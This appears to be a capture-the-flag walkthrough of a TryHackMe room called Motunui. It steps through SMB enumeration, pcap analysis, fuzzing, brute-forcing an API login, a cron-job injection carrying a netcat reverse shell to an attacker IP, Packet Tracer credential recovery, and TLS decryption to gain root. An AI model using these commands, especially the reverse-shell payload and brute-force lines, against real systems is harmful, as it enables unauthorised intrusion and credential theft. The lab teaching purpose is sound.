Can you save the island of Motunui?

Motunui

Difficulty: Hard

Created by:  JakeDoesSec

This was a very fun challenge involving packet captures, bruteforcing an API route for login, a network admin's Cisco Packet Tracer file, and TLS decryption. Feel free to use whatever tools you like as that's the beauty of hacking, you usually have options when it comes to tooling and methodology.


Enumeration

I'll also be using RustScan created by Bee from TryHackMe which has grown into a widely used standalone Nmap replacement written in rust. At the time of writing this post it has over 2.5k stars and over 30 contributors in just a few short months. If you don't already have RustScan in your toolset I highly recommend you give it a try.

Method 1: RustScan

mkdir nmap && rustscan 10.10.x.x --ulimit 5000 -- -sC -sV -Pn -oA nmap/motunui

Method 2: Nmap

If you prefer Nmap

mkdir nmap && nmap -p- -T4 -sC -sV -Pn -vvv -oA nmap/motunui 10.10.x.x

We have 6 TCP ports open:

  • 22
  • 80
  • 139
  • 445
  • 3000
  • 5000

The Nmap scan tells us we're dealing with an Ubuntu server with a hostname motunui running an SSH server, an apache webserver, SMB server, and what looks like an Express app running on Node.js.

SMB

The Nmap scan indicated that the webserver on port 80 has the default apache 'it works' page so let's move on to enumerating SMB for low hanging fruit like null sessions. I'll be using smbclient here but there are other tools like smbmap or crackmapexec to get the job done.

smbclient

Here we test for null sessions and see three shares are able to be listed. The traces share looks interesting.

smbclient -L \\\\10.10.x.x -N

				Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        traces          Disk      Network shared files
        IPC$            IPC       IPC Service (motunui server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

We connect to the share using smbclient and turning recurse on and turning the prompt off.

There are three subdirectories containing pcapng files which are packet capture files. However, only ticket_6746.pcapng seems to contain anything.

smbclient //10.10.240.69/traces -U ''
Enter WORKGROUP\\'s password:
Try "help" to get a list of possible commands.
smb: \\>
smb: \\> recurse
smb: \\> prompt off
smb: \\> ls
  .                                   D        0  Wed Jul  8 23:48:54 2020
  ..                                  D        0  Wed Jul  8 23:48:27 2020
  moana                               D        0  Wed Jul  8 23:50:12 2020
  maui                                D        0  Mon Aug  3 12:22:03 2020
  tui                                 D        0  Wed Jul  8 23:50:40 2020

\\moana
  .                                   D        0  Wed Jul  8 23:50:12 2020
  ..                                  D        0  Wed Jul  8 23:48:54 2020
  ticket_64947.pcapng                 N        0  Tue Jul  7 12:51:43 2020
  ticket_31762.pcapng                 N        0  Tue Jul  7 12:51:28 2020

\\maui
  .                                   D        0  Mon Aug  3 12:22:03 2020
  ..                                  D        0  Wed Jul  8 23:48:54 2020
  ticket_6746.pcapng                  N    79296  Mon Aug  3 12:21:16 2020

\\tui
  .                                   D        0  Wed Jul  8 23:50:40 2020
  ..                                  D        0  Wed Jul  8 23:48:54 2020
  ticket_7876.pcapng                  N        0  Tue Jul  7 12:52:24 2020
  ticket_1325.pcapng                  N        0  Tue Jul  7 12:52:30 2020

Wireshark Part 1

Next, we'll download ticket_6746.pcapng using mget. I'll only be downloading the maui directory but if you'd like to download everything you could use mget *

smb: \\> mget maui \\
getting file \\maui\\ticket_6746.pcapng of size 79296 as ticket_6746.pcapng (131.9 KiloBytes/sec) (average 66.4 KiloBytes/sec)

Opening PCAPNG

Now that we have a pcapng file let's open wireshark to see what traffic was captured.

Straight away we see there's a lot of TLS traffic which won't do us much good or at least for now. Scrolling through the pcap we notice a GET request to 192.168.236.130 for dashboard.png. Let's download this object by going to File > Export Objects > HTTP.

Opening dashboard.png we see a hint of a virtual host d3v3lopm3nt.motunui.thm. Let's add this to our /etc/hosts and see if anything is served.

sudo echo -e "\\n10.10.240.69 d3v3lopm3nt.motunui.thm" >> /etc/hosts

Navigating to the webpage we see the same page is still being served as what we extracted from the pcap. It's time to fuzz for directories.

Fuzzing

I'll be using ffuf but feel free to use gobuster, dirsearch, dirbuster, zap, burp, wfuzz, etc. I find that each tool has it's strengths and weaknesses but ffuf checks almost all the boxes for my needs when it comes to fuzzing.

I usually start with common.txt with a recursion depth of 2 just to fuzz directories. Depending on what I have returned in the first set of results determines what I'll fuzz for next.

ffuf -c -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://d3v3lopm3nt.motunui.thm/FUZZ -t 100 -recursion -recursion-depth 2

From our Nmap scan earlier we can make a good guess we're dealing with an Express app. Having results return for javascript and jquery directories further validates this suspicion. We also notice a 301 redirect for docs.

Navigating to http://d3v3lopm3nt.motunui.thm/docs/ in a browser we're able to download README.md which is for documentation for an in-development API.

# Documentation for the in-development API

##### [Changelog](CHANGELOG.md) | [Issues](ISSUES.md)

Please do not distribute this documentation outside of the development team.

## Routes
Find all of the routes [here](ROUTES.md).

ROUTES.md looks very interesting. Let's curl the ROUTES documentation.

curl <http://d3v3lopm3nt.motunui.thm/docs/ROUTES.md> -o ROUTES.md

Nice! Now we have something to work with. We found documentation for the API routes. Immediately I notice /v2/ which is a good indicator there was a v1 of this API. Let's add api.motunui.thm to our /etc/hosts.

# Routes

The base URL for the api is `api.motunui.thm:3000/v2/`.

### `POST /login`
Returns the hash for the specified user to be used for authorisation.
#### Parameters
- `username`
- `password`
#### Response (200)
```js
{
    "hash": String()
}
```
#### Response (401)
```js
{
    "error": "invalid credentials"
}
```

### 🔐 `GET /jobs`
Returns all the cron jobs running as the current user.
#### Parameters
- `hash`
#### Response (200)
```js
{
    "jobs": Array()
}
```
#### Response (403)
```js
{
    "error": "you are unauthorised to view this resource"
}
```

### 🔐 `POST /jobs`
Creates a new cron job running as the current user.
#### Parameters
- `hash`
#### Response (201)
```js
{
    "job": String()
}
```
#### Response (401)
```js
{
    "error": "you are unauthorised to view this resource"
}
```

Given v2 looks like it's the current version in development let's backtrack to see if v1 is still in use and if the same routes exist. A quick curl to http://api.motunui.thm:3000/v1/login we have some JSON returned with a message to maui to update the routes. We can now safely assume the directories we found earlier in the SMB share were usernames.

curl http://api.motunui.thm:3000/v1/login
{"message":"please get maui to update these routes"}#

JSON object bruteforcing

Now that we know roughly what the API routes are what we can do we'll need a login hash. We have a list of usernames maui, moana, and tui but what could try using to bruteforce the login route.

Method 1: JSONBrute

Jake Ruston, the creator of this room, has developed a JSON bruteforce tool named JSONBrute for this type of bruteforce scenario.

p3 jsonbrute.py --url http://api.motunui.thm:3000/v2/login --wordlist /opt/rockyou.txt --data "username=maui, password=FUZZ" --verbose

Method 2: ffuf

ffuf -w /opt/rockyou.txt -u http://api.motunui.thm:3000/v2/login -X POST -H "Content-Type: application/json" -d '{"username": "maui", "password": "FUZZ"}' -fr "error" -fc 401 -c -v

Interacting with the API using Insomnia

I'll be using Insomnia which is a tool to design, debug, and test APIs. There are countless tools to create requests and view responses such as Postman. If GUI tools like this aren't your thing, CURL is a great alternative. If you're looking for a customizable browser based solution then Hoppscotch could be the tool for you.

The bruteforce was successful and we can now use maui's password for the login route to get a hash.

Now that we have a hash we can perform a GET request to the jobs route to see what jobs are running under the current user. This appears to be a standard cron expression that is echoing some text into a file in /tmp. Let's try turning that into a reverse shell.

According to the API docs we need a POST request containing the hash and a job. Since we were able view the poem job from above, we'll follow that structure in our job object string.

I typically try the named pipe netcat reverse shell first as it's not dependent on using the -e flag and hasn't failed me if nc is on the target.

Setup your netcat listener

nc -lvnp 9001

Post the nc reverse shell job

{
"hash":"(removed)",
"job": "* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&2|nc 10.x.x.x 9001 >/tmp/f"
}

We receive a call back! Let's upgrade our shell and spawn a pty.

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color

Linux-Smart-Enumeration

We now have a suitable terminal to work with. Let's do some enumeration with linux-smart-enumeration. LinPEAS is also a very good enumeration script. I like linux-smart-enumeration (LSE) as there are 3 levels of verbosity that allows you to gradually enumerate.

By default linux-smart-enumeration will only output highly important results (level 0). I typically like to start at level 1. Your milage my vary but I find the output to be comparable to LinPEAS at level 1 and 2.

Download linux-smart-enumeration

curl "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh

Upload linux-smart-enumeration to the target. Start a python3 http server on your machine.

python3 -m http.server 80

Personally, I like to use go-simple-upload-server or updog if I want a webui as a replacement for python's http server module.

Download linux-smart-enumeration on the target and run it with non-interactive at level 1.

[email protected]:/tmp$ wget http://10.x.x.x/lse.sh && chmod +x lse.sh && ./lse.sh -i -l 1

After going through the output we find a note from root in moana's home directory (/home/moana/read_me) hinting at a new network design in packet tracer.

I know you've been on vacation and the last thing you want is me nagging you.

But will you please consider not using the same password for all services? It puts us all at risk.

I have started planning the new network design in packet tracer, and since you're 'the best engineer this island has seen', go find it and finish it.

Looking at the LSE level 1 output we find the packet tracer file that the read_me was referring - /etc/network.pkt.

Cisco Packet Tracer

I'm sure some of you have used Cisco Packet Tracer at some point and especially those who have pursued the CCNA. Packet Tracer is a very powerful network simulation tool built by Cisco.

Packet Tracer and similar tools such as GNS3 allow you create virtual networks in a visual and interactive way.

https://www.netacad.com/courses/packet-tracer

I won't go into detail on installing packet tracer but when we open Cisco Packet Tracer we're greeted with a virtual network containing a router, switch, server, and a PC.

Double clicking on Switch0 we are able to interact with the CLI. To show the running config we'll enter privileged mode by typing en (short for enable) then show run. This will output the running config.

en
show run

Since there's no password encryption we have a plaintext password for moana.

username moana privilege 1 password 0 (removed)

We're able to SSH as moana and find user.txt in her home directory.

Running lse again as moana with -l 1 we find a suspicious file /etc/ssl.txt as well as an environment variable SSLKEYLOGFILE=/etc/ssl.txt

Wireshark part 2

Now that we have the traffic secrets to decrypt the traffic let's import it

Edit > Preferences > Protocols > TLS > (Pre)-Master-Secret log filename

Now that we imported the TLS secret log we're able to export the decrypted objects to analyze by going to File > Export Objects > HTTP > Save all.

Looking through the contents of the dumped objects we find root's username and password in the file %2f(12)

We can now su to root or ssh as root to find /root/root.txt.

/etc/takeaways

I'd like to thank Jake for a very fun challenge. Please check out his other room Smag Grotto if you haven't already. I think it's a very well done beginner friendly room that covers a lot of fundamentals. Also, if you enjoyed this challenge, keep an eye out for his next room which is coming soon.


I hope you enjoyed reading this walkthrough as much as I had creating it. There's an old saying from Abraham Lincoln: "Give me six hours to chop down a tree and I will spend the first four sharpening the axe." I believe this sentiment can be applied to hacking and I think Jake demonstrated that with creating JSON-Brute.

In my opinion, having the right tools to do the job is important. If you feel the tools you're currently using aren't quite cutting it then maybe it's time to research alternatives, create your own, or contribute to open source projects